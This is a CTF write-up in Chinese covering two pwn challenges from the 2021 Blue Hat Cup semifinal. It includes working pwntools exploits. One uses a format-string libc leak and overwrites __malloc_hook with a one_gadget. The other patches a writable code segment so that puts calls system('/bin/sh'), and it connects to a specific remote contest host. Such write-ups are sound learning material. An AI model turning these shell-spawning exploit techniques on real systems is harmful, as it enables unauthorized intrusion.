2021_蓝帽杯半决赛pwn

  1. 1. hangman
    1. 1.1. 题目分析
    2. 1.2. 思路
    3. 1.3. 坑点
    4. 1.4. exp
  2. 2. cover
    1. 2.1. 题目分析
    2. 2.2. exp

hangman

hangman.zip

题目分析

2021-6-6/Untitled.png

2021-6-6/Untitled%201.png

题目逻辑大概是先输入一段字符串,生成一段等大小的‘*’(用局部变量v12存放),然后会让你输入一个字符,判断字符是否存在字符串中,如果是则统计该字符个数(当所有字符个数等于原字符串长度时,会有一个格式化字符串漏洞)同时局部变量v12的相应位置(字符串中的相同位置)会变成该字符,程序会进行四次game,也就是说我们有四次利用的机会

思路

  • 先利用格式化字符串泄露libc基地址
  • 然后改malloc为one_gadget
  • 利用%100000c触发malloc/free,劫持程序控制流

坑点

  • 和堆的知识结合利用,通过printf调用malloc
  • 程序稍微有点长,变量会有一点多,需要慢慢分析

题外话,第一次打线下赛,感觉还是很不错的,收获了许多涨了许多知识,了解到了一些平时没见过的知识点,可以说是收获满满

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding=utf-8
from pwn import *
context(log_level = 'debug', arch = 'amd64')
binary='./pwn'
local = 1
one_gadget = [0x4f3d5,0x4f3d5,0x10a41c]
if local == 1:
io = process(binary)
else:
io=remote()
e = ELF(binary)
libc = e.libc

def game(date,guess):
io.sendlineafter('Enter a word:', date)
io.sendlineafter('Guess a letter:', guess)

game(b'%p',b'%p')
io.recvuntil('0x')
libc_base = int(io.recv(12).decode(), 16) - 131 - libc.symbols['_IO_2_1_stdin_']
io.success("libc_base==>" + hex(libc_base))
one_gadget = one_gadget[2] + libc_base
io.success("one_gadget==>" + hex(one_gadget))
malloc = libc.symbols["__malloc_hook"] + libc_base
io.success("__malloc_hook ==> " + hex(malloc))
#gdb.attach(io,"b *$rebase(0x13b9)")

def fmt(addr,date):
if date == b'\x00':
io.sendlineafter('Enter a word:', b'%14$hn'.ljust(0x10, b'\x00') + p64(addr))
io.sendlineafter('Guess a letter:', b'%14$hn')
else:
io.sendlineafter('Enter a word:', (b'%' + str(date).encode() + b'c'+ b'%14$hn').ljust(0x10, b'\x00') + p64(addr))
io.sendlineafter('Guess a letter:', ''.join(set('%' + str(date) + 'c%14$hn')))

for i in range(2):
fmt(malloc+i*2, (one_gadget>>(i*16))&0xffff)
game(b'%100000c\x00', b'%10c')
io.interactive()

2021-6-6/Untitled%202.png

cover

cover.zip

题目分析

2021-6-6/Untitled%203.png

没开pie

2021-6-6/Untitled%204.png

2021-6-6/Untitled%205.png

这里导致了我们的code段可写,说明可能需要修改code段里的数据,方向大致朝这个方向想

2021-6-6/Untitled%206.png

这里跳过if判断使得程序不会跳出,目前为止是一个正常的程序,但是通过gdb调试发现if判断后会有一段异常的汇编代码

2021-6-6/Untitled%207.png

这里输入的是b’’*4+b’66’,可以看到程序运行到这里是将0xffffffff地址的最后一个字节的数据改成0x66,因为之前分析了code可写,那么可以考虑将put的plt表里的got地址跳转地址修改成system的got地址,可以看看got表的数据

2021-6-6/Untitled%208.png

2021-6-6/Untitled%209.png

system的got刚好就在putsgot的下面,所以只需要将最后一个字节0x20改成0x24就可

2021-6-6/Untitled%2010.png

put的plt表中jmp后的got表的最后一个字节为ff需要加2使得最后一个字节为20,改20为24就可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
binary = "./pwn"
context.log_level='debug'
e = ELF(binary)
io = remote('118.190.62.234',12435)
gdb.attach(io,"b *0x80486AD")
io.recvuntil(b"\n")
put_addr = e.plt['puts'] + 2
print(hex(put_addr))
io.send(p32(put_addr)+b'\x24')
io.recv()
io.sendline(b"/bin/sh\x00")
io.interactive()

2021-6-6/Untitled%2011.png